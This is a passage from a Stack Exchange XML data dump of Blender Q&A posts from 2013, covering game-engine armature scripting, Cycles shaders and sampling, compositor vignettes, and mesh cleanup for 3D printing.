5.0000&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but nothing is happening with the model linked to the armature (not visually at least).  If I change &lt;code&gt;BL_ArmatureChannel.rotation_euler&lt;/code&gt; to &lt;code&gt;BL_ArmatureChannel.joint_rotation&lt;/code&gt; the values being printed in the console don't change at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my armature, I have an &quot;Always&quot; sensor attached to a &quot;Python&quot; controller to execute the script.  There are no IK constraints on the armature and no other sensors/controllers/actuators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this matter would be greatly appreciated.  I have a tight deadline on this project and I can't seem to get this very simple (but necessary) part of it working.&lt;/p&gt;&#xA;" OwnerUserId="1075" LastEditorUserId="1075" LastEditDate="2013-08-15T04:17:24.740" LastActivityDate="2014-01-21T14:34:36.447" Title="Controlling armature through python" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2257" PostTypeId="2" ParentId="2255" CreationDate="2013-08-09T16:54:59.850" Score="5" Body="&lt;p&gt;Re-topology is the best option, since it will generate a clean mesh for 3d printing and will consume less time then removing unwanted cubes, edges etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In given situation, I'll first delete half of my model and add a mirror modifier to it. covert my mesh to Quads and remove extraneous edges and vertices manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use BSurface Addon for Re-topology, as it is the fastest method.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="738" LastEditDate="2013-08-09T17:12:46.867" LastActivityDate="2013-08-09T17:12:46.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2258" PostTypeId="1" AcceptedAnswerId="2259" CreationDate="2013-08-09T16:56:08.537" Score="7" ViewCount="2597" Body="&lt;p&gt;How can I make a slightly transparent white Transparent material in cycles, when making the Transparent shader white makes it completely transparent and invisible?  &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-09T17:24:46.533" LastActivityDate="2013-08-09T18:17:48.337" Title="Make White Transparent shader that is not transparent?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostTypeId="2" ParentId="2258" CreationDate="2013-08-09T16:56:08.537" Score="9" Body="&lt;p&gt;Mixing with another shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNTCr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this node setup, the Mix factor is now your transparency slider, and the diffuse color is the color of the material. (in this case, white)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xlFK8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that using a diffuse shader as the other shader shades the material slightly. If you want a solid color, you can use an Emission shader but only when seen directly from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, you can mix it with a transparent shader with the &lt;code&gt;IsCameraRay&lt;/code&gt; output in the &lt;em&gt;Light Path node&lt;/em&gt; (&lt;em&gt;Add node &gt; Input &gt; Light path node&lt;/em&gt;) as the mix factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ONASO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen here with a .3 mix factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WBMk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-09T18:17:48.337" LastActivityDate="2013-08-09T18:17:48.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostTypeId="2" ParentId="2255" CreationDate="2013-08-09T17:13:27.720" Score="4" Body="&lt;p&gt;You can select all non-manifold edges/vertices by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this works for 3D printing, but you make it so &lt;em&gt;Select non-manifold edges&lt;/em&gt; does not select those edges by making them separate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qWa8k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the cubes are separate, but those edges are in the same place. (one vert is move to the side in the image so you can see they are separate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way you could try is the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/PrintToolbox&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D print toolbox addon&lt;/a&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Print_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduced in 2.67&lt;/a&gt;), which has tools designed to help clean up meshes for 3D printing. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-18T16:38:51.433" LastActivityDate="2013-08-18T16:38:51.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2261" PostTypeId="1" AcceptedAnswerId="2263" CreationDate="2013-08-09T17:33:53.030" Score="4" ViewCount="158" Body="&lt;p&gt;From my &lt;a href=&quot;https://blender.stackexchange.com/questions/2258/make-white-transparent-shader-that-is-not-transparent&quot;&gt;previous question&lt;/a&gt;,  I was wondering what the alpha sliders are useful for in cycles. (As they don't seem to effect the shader)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEYPU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-08-09T19:14:59.373" Title="What can the Alpha sliders in cycles be used for?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostTypeId="1" AcceptedAnswerId="2311" CreationDate="2013-08-09T18:31:36.163" Score="4" ViewCount="841" Body="&lt;p&gt;Is there a way to visualize the effect of a &lt;strong&gt;Speed Control&lt;/strong&gt; (SC) in the &lt;strong&gt;VSE&lt;/strong&gt;? For example if I use a SC with a &lt;strong&gt;Multiply Speed&lt;/strong&gt; value of 1.5 I want to see in the movie strip or maybe with a marker where the &quot;new&quot; end of the strip is. I know I can do this manually with cursor keys to check when the strip is over, but this is not very useful.  &lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2013-08-11T14:03:40.907" Title="Visualize Speed Control Effect Strip" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostTypeId="2" ParentId="2261" CreationDate="2013-08-09T19:14:59.373" Score="5" Body="&lt;p&gt;I think it's safe to say that it does nothing at all. It's only present there because all shaders use the standard RGBA selector even though an RGB selector would be sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some other areas where only RGB-values make sense, however, RGB-selectors are in use, so it's not great user communication to not use them there I guess.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-09T19:14:59.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2264" PostTypeId="1" AcceptedAnswerId="2282" CreationDate="2013-08-09T23:24:55.883" Score="5" ViewCount="325" Body="&lt;p&gt;Since we have the option to use normal maps in Cycles via the normal input socket, this question frequently pops in my head:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the simplest mix, diffuse and glossy, should I connect the normal map to the diffuse or the glossy shader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about other shader mixes?&lt;/p&gt;&#xA;" OwnerUserId="1064" LastEditorUserId="372" LastEditDate="2013-08-13T06:53:47.467" LastActivityDate="2013-08-13T06:53:47.467" Title="Which normal input socket should I use when I have a mix between shaders?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostTypeId="1" AcceptedAnswerId="2269" CreationDate="2013-08-10T00:26:45.413" Score="2" ViewCount="345" Body="&lt;p&gt;Is there a way to adjust the transparency of an image in the compositor with a percentage of the alpha of the original image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(So images that pixels that are completely transparent stay that way, and pixels that are partially transparent stay the same relative to the rest of the image)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-10T02:50:21.103" LastActivityDate="2013-08-10T02:50:21.103" Title="Percentile alpha control in the Compositor?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostTypeId="1" AcceptedAnswerId="2268" CreationDate="2013-08-10T01:19:22.337" Score="6" ViewCount="1247" Body="&lt;p&gt;Let's say I want to create a new bone constraint in a script. Blender then tells me that it wants to know which type of constraint I want to create. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I print a list of all possible types? I know I could reverse engineer the names by creating the constraints and reading the types, but I'd like to have a more general solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there something like &lt;code&gt;print(dir())&lt;/code&gt; that does the job?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="185" LastEditDate="2013-08-10T02:12:41.010" LastActivityDate="2013-08-10T02:12:41.010" Title="How to print a list of enumerated items in Python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostTypeId="2" ParentId="2266" CreationDate="2013-08-10T01:31:23.147" Score="4" Body="&lt;p&gt;If all you need is an enumeration of available constraints, it's listed in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Constraint.html#bpy.types.Constraint&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types.Constraint&lt;/code&gt;&lt;/a&gt; API documentation.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-08-10T01:31:23.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2268" PostTypeId="2" ParentId="2266" CreationDate="2013-08-10T01:32:46.273" Score="5" Body="&lt;p&gt;To answer your question, you can print a list like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(bpy.types.Constraint.bl_rna.properties[&quot;type&quot;].enum_items.keys())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in this case I'd suggest to use Blenders documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that this is Blender specific, Python doesn't provide a way to list possible valid values for an attribute.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-10T01:32:46.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2269" PostTypeId="2" ParentId="2265" CreationDate="2013-08-10T02:39:05.207" Score="6" Body="&lt;p&gt;Yes by using math.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alpha channel is a value from 0.0=transparent to 1.0=solid. A math node can be used to multiply alpha values by the value you want to use. Which you then feed into the alpha over Fac to combine the images. You can also use a CombineRGBA to join together depending on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While multiplying a zero value by 0.5 leaves it zero you can use math node to get values greater than 0.99 if you wish to only effect a non-transparent area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use less than to pass through unaltered values and add them together before the alpha over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gEhVV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-10T02:39:05.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostTypeId="1" CreationDate="2013-08-10T03:27:24.723" Score="6" ViewCount="1355" Body="&lt;p&gt;I'm just wondering, is there a way to transfer Particle System Settings from one .blend file to another? Something related to how appending and/or linking works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have  x.blend which contains carpet particle settings and I want these settings to be transferred to 'y.blend', which currently doesn't contain any at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to hear your ideas.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastEditorUserId="12" LastEditDate="2013-08-10T03:29:23.157" LastActivityDate="2015-08-26T16:30:58.940" Title="Particle Settings Link/Transfer" Tags="&lt;particles&gt;&lt;linked-data&gt;&lt;append&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2271" PostTypeId="2" ParentId="2195" CreationDate="2013-08-10T03:27:42.083" Score="4" Body="&lt;p&gt;Instead of using an always sensor, try a delay sensor to trigger the script. Slow it down by increasing the delay value and check 'repeat'. The text object needs an integer Game Property named 'counter' to work with the script.&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-python prettyprint-override&quot;&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;message = &quot;Don't wish it were easier, wish you were better!&quot;&#xA;mlen = len(message) # length of the string&#xA;&#xA;if own['counter'] &amp;lt; mlen :&#xA;    own['counter'] += 1&#xA;    own.text = message[0 : own['counter']] # slice indices&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ab1Rn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-10T03:56:11.313" LastActivityDate="2013-08-10T03:56:11.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostTypeId="2" ParentId="2255" CreationDate="2013-08-10T03:38:29.037" Score="7" Body="&lt;p&gt;If your concerned about non-manifold edges then you plan to 3D print this model. In that case I would add some &quot;material&quot; to the edges being joined. By that I mean some solid printed material that will hold the pieces together rather than a flimsy paper thin join that can break easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by separating the joined edges. Add a small bevel &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; so that the new edge is wide enough. You may want to display edge sizes while doing this, see Mesh display in the properties panel. The width you use here will depend on the material you plan to use, the width of the new edge added by the bevel should be at least the minimum material thickness you can use. Repeat for the other edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCLd1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the vertices or edges around both new beveled faces and bridge edge loops (in the specials menu &lt;kbd&gt;W&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XKK16.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will remove the non-manifold edges and leave you with a solid join in your printed model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uw6dG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to bevel these new edges to get a more rounded join.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to move the cubes together so that both beveled edges meet up and then remove doubles. This will effectively make the corner of the cubes intersect a little and depends mostly on your needs. If your using the array modifier then you can intersect each cube by using and offset a little less than 1.0, I'm not certain if this overlapping non-connected geometry is acceptable for 3D printing so you may have to manually join the overlapping areas.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-10T03:38:29.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostTypeId="2" ParentId="2270" CreationDate="2013-08-10T03:40:39.860" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.ParticleSettings.html&quot;&gt;&lt;code&gt;ParticleSettings&lt;/code&gt;&lt;/a&gt; data is not readily accessible in append/link browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way I found to reuse it in another file, is to append or link the &lt;em&gt;mesh object&lt;/em&gt; using it. Once the object is in the scene, you'll find every &lt;code&gt;ParticleSettings&lt;/code&gt; data used by the object available to every other objects in the new file.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="12" LastEditDate="2013-08-10T04:01:51.930" LastActivityDate="2013-08-10T04:01:51.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostTypeId="1" AcceptedAnswerId="2281" CreationDate="2013-08-10T04:36:41.610" Score="21" ViewCount="6080" Body="&lt;p&gt;I am wondering why Cycles renders progressively to infinity. Why is it not possible to do one ray per pixel in the image, letting you have a finished result with &lt;code&gt;X * Y&lt;/code&gt; rays cast? I suppose this question could apply more generically to raycast rendering in general.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="29301" LastEditDate="2018-10-15T14:05:59.313" LastActivityDate="2018-10-15T14:05:59.313" Title="Why can't cycles cast one ray per image pixel, instead of rendering progressively to infinity?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="2275" PostTypeId="1" AcceptedAnswerId="2280" CreationDate="2013-08-10T04:41:47.087" Score="12" ViewCount="6245" Body="&lt;p&gt;When it casts a ray, shouldn't it calculate the color and return that? Why would it create incorrectly colored pixels?&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2015-03-23T21:32:17.660" Title="What is the Reason Cycles Creates Incorrectly Colored/Firefly Artifact Pixels?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2276" PostTypeId="1" AcceptedAnswerId="2278" CreationDate="2013-08-10T07:26:53.530" Score="9" ViewCount="5669" Body="&lt;p&gt;Is there a simple way to feather edges in the Node compositor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I'm trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OaiO1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ENN3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="404" LastActivityDate="2013-08-10T08:24:07.193" Title="Feathering Edges in Node compositor" Tags="&lt;nodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostTypeId="2" ParentId="2276" CreationDate="2013-08-10T08:09:37.883" Score="4" Body="&lt;p&gt;It is rectangular vignette effect. Easily achievable in blender compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need one Image with black and white colors. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/0C2Um.png&quot; alt=&quot;Black &amp;amp; White Color&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In compositor. &#xA;Insert your render layer to &lt;strong&gt;Scale&lt;/strong&gt; Node.&#xA;Add your black and white image. &#xA;Insert image to &lt;strong&gt;Invert&lt;/strong&gt; Node. &#xA;Add Color &lt;strong&gt;Mix&lt;/strong&gt; Node. Set it to &lt;strong&gt;Multiply&lt;/strong&gt;. &#xA;Join Nodes from &lt;strong&gt;Scale&lt;/strong&gt; &amp;amp; &lt;strong&gt;Invert&lt;/strong&gt; to &lt;strong&gt;Multiply&lt;/strong&gt; Node.&#xA;Add &lt;strong&gt;Blur&lt;/strong&gt; Node and Insert Output of Multiply to Blur.&#xA;Add another color &lt;strong&gt;Mix&lt;/strong&gt; node, set it to &lt;strong&gt;Subtrac&lt;/strong&gt;t , Attach output of &lt;strong&gt;blur &amp;amp; Scale&lt;/strong&gt; node to inputs and Join the output to &lt;strong&gt;viewer &amp;amp; composite&lt;/strong&gt; Node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eGEr5.png&quot; alt=&quot;Vignette Effect&quot;&gt;&#xA;Play with Settings for desired effect.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2013-08-10T08:09:37.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2278" PostTypeId="2" ParentId="2276" CreationDate="2013-08-10T08:21:48.620" Score="11" Body="&lt;p&gt;Adding a vignette to a render is fairly common and you can find examples in many tutorials. A vignette is often circular and darkens the corners but the same principal applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you create a mask, blur it, then use it to mix together the results you want. In this example I have used a CombineRGBA to input a semi-transparent white background that I added a render result over. There is also an Ellipse Mask if you want the rounded result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgvrV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-10T08:21:48.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostTypeId="2" ParentId="2276" CreationDate="2013-08-10T08:24:07.193" Score="3" Body="&lt;p&gt;If you want full control over the effect in Blender and want it to scale to any image size and aspect ratio quickly, you can create the feather mask basis inside the Compositor, too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Right click and open image in new tab for full size)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VaFXX.png&quot; alt=&quot;Compete Node-Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that, only take the original image (to get the dimensions of your image), make it white (see first &lt;strong&gt;Mix-Node to white&lt;/strong&gt;) crop it with a black border (&lt;strong&gt;Crop-Node&lt;/strong&gt;, &lt;strong&gt;invert&lt;/strong&gt; and &lt;strong&gt;Alpha over white&lt;/strong&gt;) and then &lt;strong&gt;blur&lt;/strong&gt; the result to then use it as an Alpha channel or as a Mix node factor towards a white background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;Gamma-Node&lt;/strong&gt; after the blur can get you some fine-tuning control over the gradient of the feathering effect.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-10T08:24:07.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2280" PostTypeId="2" ParentId="2275" CreationDate="2013-08-10T08:45:41.443" Score="15" Body="&lt;p&gt;Fireflys aren't incorrectly colored. In theory, you need them for a correct rendering result. They are only a representation of a part of your light that is very difficult to sample for the renderer and therefore magnitudes more noisy than everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with them is that they represent a path that a ray is very improbable to travel on. For example, if you have a reflection or a refraction of a very small but strong light source, the probability that any sample will reflect/refract in a way that will hit this small light source is very small. If it hits it, however, the result shows that this should have a big effect on this part of the surface, so it samples a very bright pixel there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be no problem if, for every pixel, a few samples would eventually follow this path and create a bright pixel there, but due to the small probability, only very few ever follow it and these pixels are then far too bright (because they found the way &quot;too early&quot; and are not yet averaged out by the other future samples that would all not find this way).&#xA;On other pixels, no sample will find the way at all (within the numer of samples you set in your render settings) and are therefore too dark (but only very little too dark, because the actual effect of that light on the surface would not be that big).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you would render, for example, 10,000 times as long as you do, the fireflies will eventually become more and weaker and, in the long term, become a normal, noise-free part of your light. It's just impossible to sample for that long.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2014-06-11T07:37:58.217" LastActivityDate="2014-06-11T07:37:58.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2281" PostTypeId="2" ParentId="2274" CreationDate="2013-08-10T09:03:55.910" Score="31" Body="&lt;p&gt;That is exactly what happens if you set the numer of samples to 1. You can try doing that. The result you get, however, will be unsatisfying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every sample can only travel one path each time it hits a surface. But most surfaces allow a lot more than one reflection direction. A diffuse surface is characterized, for example, by reflecting incoming light in an almost completely random direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you sample Pixel 1, and the light hits the first surface and happens to reflect, say, towards the dark night sky, this ray will tell the renderer that it shot to ~infinity and found no light. So this pixel is black.&#xA;On the pixel next to it, the ray, due to the randomness of the reflection of the surface, will happen to be reflected to the right, towards a big lamp, and will find a lot of light traveling this ray path, so this pixel will be very bright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you repeat this for all pixels, the result for each pixel is very random and the image you get is very, very noisy (more so the smaller your light sources are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, essentially, the reason why you need to shoot several times per pixel is because you have to shoot enough times that for every pixel, most directions have been &quot;probed&quot; and they all give approximately the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only render perfect mirrors with no variation in reflection direction, one sample per pixel is enough, nothing will change with the second one. This is very rare as a scene though.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-10T09:03:55.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostTypeId="2" ParentId="2264" CreationDate="2013-08-10T10:18:17.413" Score="3" Body="&lt;p&gt;If you want to give the &lt;strong&gt;whole material&lt;/strong&gt; a structured surface, put it into &lt;strong&gt;both&lt;/strong&gt;. In over 90% of all cases, this is probably what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are others:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to material to look like the paint or &lt;strong&gt;glossy part is smooth&lt;/strong&gt; and even and &lt;strong&gt;below&lt;/strong&gt; that, there is a &lt;strong&gt;bumpy surface&lt;/strong&gt; (application example: Wood finish in a car interiour), then add the normal map &lt;strong&gt;only to the diffuse shader&lt;/strong&gt; of the shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the material to look like it has a smooth general surface but a &lt;strong&gt;slightly scratched paint or top layer&lt;/strong&gt;, it might make sense to &lt;strong&gt;only connect it to the glossy shader&lt;/strong&gt; (probably the less frequently used case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/62273197/NormalSocketTest.jpg&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/62273197/NormalSocketTest.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="290" LastEditDate="2013-08-12T16:12:30.303" LastActivityDate="2013-08-12T16:12:30.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2283" PostTypeId="2" ParentId="2229" CreationDate="2013-08-10T12:04:35.213" Score="12" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: Closures (the green sockets) are symbolic descriptions of lighting behavior on a surface. They only result in a color value after evaluation of all the possible incoming light directions by the renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you talk about using the result of an Ambient Occlusion shader for mixing other shaders, this describes a physical or chemical effect which is not part of the basic pathtracer model with inert materials, i.e. the light influences the physical properties of the material (which in turn could change lighting and so on ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good illustrating example is &lt;a href=&quot;http://en.wikipedia.org/wiki/Phosphorescence&quot;&gt;phosphorescence&lt;/a&gt; - if you wanted to implement this with cycles you have to bake a map of the &quot;charge&quot; and use that for an emission shader, while also reducing the charge over time as well as increasing it with incoming light. The important point is that this whole physical simulation is outside of the actual pathtracer and only communicates with cycles via image textures (much like dynamic paint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key missing feature is baking of course. It will eventually be added to cycles, but for the time being you'll have to resort to using Blender Internal or some external renderer (or just make an image map by hand).&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-10T12:04:35.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
